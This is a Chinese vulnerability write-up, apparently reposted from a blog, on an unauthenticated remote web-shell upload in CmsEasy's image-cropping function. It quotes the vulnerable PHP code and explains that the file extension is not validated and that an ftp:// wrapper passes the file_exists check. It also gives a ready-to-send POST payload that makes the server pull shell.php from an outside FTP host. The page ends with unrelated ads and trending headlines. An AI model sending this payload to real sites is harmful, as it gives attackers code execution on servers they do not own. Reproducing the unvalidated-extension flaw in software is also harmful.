CmsEasy 前台无限制getshell
发布时间:2016-09-29
公开时间:N/A
漏洞类型:getshell
危害等级:高
漏洞编号:QTVA-2016-540503
测试版本:20160825
5.0.0以上 就支持file_exists()了
接下来就是根据要求构造payload
互联网随便找了个站
作者:索马里的乌贼
链接:https://www.jianshu.com/p/fac379dcbd1e
漏洞详情
lib/default/tool_act.php 行392function cut_image_action() {
$len = 1;
if(config::get('base_url') != '/'){
$len = strlen(config::get('base_url'))+1;
}
if(substr($_POST['pic'],0,4) == 'http'){
front::$post['thumb'] = str_ireplace(config::get('site_url'),'',$_POST['pic']);
}else{
front::$post['thumb'] = substr($_POST['pic'],$len);
}
$thumb=new thumb();
$thumb->set(front::$post['thumb'],'jpg');
$img=$thumb->create_image($thumb->im,$_POST['w'],$_POST['h'],0,0,$_POST['x1'],$_POST['y1'],$_POST['x2'] -$_POST['x1'],$_POST['y2'] -$_POST['y1']);
$new_name=$new_name_gbk=str_replace('.','',Time::getMicrotime()).'.'.end(explode('.',$_POST['pic']));
$save_file='upload/images/'.date('Ym').'/'.$new_name;
@mkdir(dirname(ROOT.'/'.$save_file));
ob_start();
$thumb->out_image($img,null,85);
file_put_contents(ROOT.'/'.$save_file,ob_get_contents());
ob_end_clean();
$image_url=config::get('base_url').'/'.$save_file;
//$res['size']=ceil(strlen($img) / 1024);
$res['code']="
//$('#cut_preview').attr('src','$image_url');
$('#thumb').val('$image_url');
alert(lang('save_success'));
";
echo json::encode($res);
}
没有判断pic的后缀就直接取了
$new_name=$new_name_gbk=str_replace('.','',Time::getMicrotime()).'.'.end(explode('.',$_POST['pic']));
做为文件名字 导致getshell
此处的坑是
- 需要过ImageCreateFromxxx、ImageCopyResampled、ImageJpeg 3个函数 任然保留shell语句
- 需要通过file_exists函数的验证
自 PHP 5.0.0 起, 此函数也用于某些 URL 包装器。请参见 支持的协议和封装协议以获得支持 stat() 系列函数功能的包装器列表。查了下各种封装协议wrappers发现了 ftp:// 支持 stat();
Attribute | PHP4 | PHP5 |
---|---|---|
Supports stat() | No | As of PHP 5.0.0: filesize(), filetype(), file_exists(), is_file(), and is_dir() elements only. |
--- | --- | As of PHP 5.1.0: filemtime(). |
$len = 1;
if(config::get('base_url') != '/'){
$len = strlen(config::get('base_url'))+1;
}
if(substr($_POST['pic'],0,4) == 'http'){
front::$post['thumb'] = str_ireplace(config::get('site_url'),'',$_POST['pic']);
}else{
front::$post['thumb'] = substr($_POST['pic'],$len);
}
如果站点不是放在根目录 则需要在payload前面补足 strlen(base_url)+2 位的长度 如果在根目录也要补1位
POST /index.php?case=tool&act=cut_image
pic=111111111ftp://ludas.pw/shell.php&w=228&h=146&x1=0&x2=228&y1=0&y2=146
本地测试截图

image

image
关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

随时掌握互联网精彩
赞助链接
排名
热点
搜索指数
- 1 农文旅融合绘就美丽乡村新图景 7985713
- 2 超级计算机算出人类灭绝时间 7914282
- 3 130亿三岁影帝接了多少广告 7891289
- 4 春回大地农事起 春耕备耕正当时 7735036
- 5 天雷滚滚我好怕怕传到联合国 7689022
- 6 下周将迎超级大回暖 气温火箭式飙升 7589679
- 7 男生用镜头记录下女友5年的蜕变 7456634
- 8 《家有儿女》花了多少经费在餐桌上 7378652
- 9 美国将完全退出联合国?联合国回应 7296048
- 10 美将限制与中国的双向投资 中方回应 7182823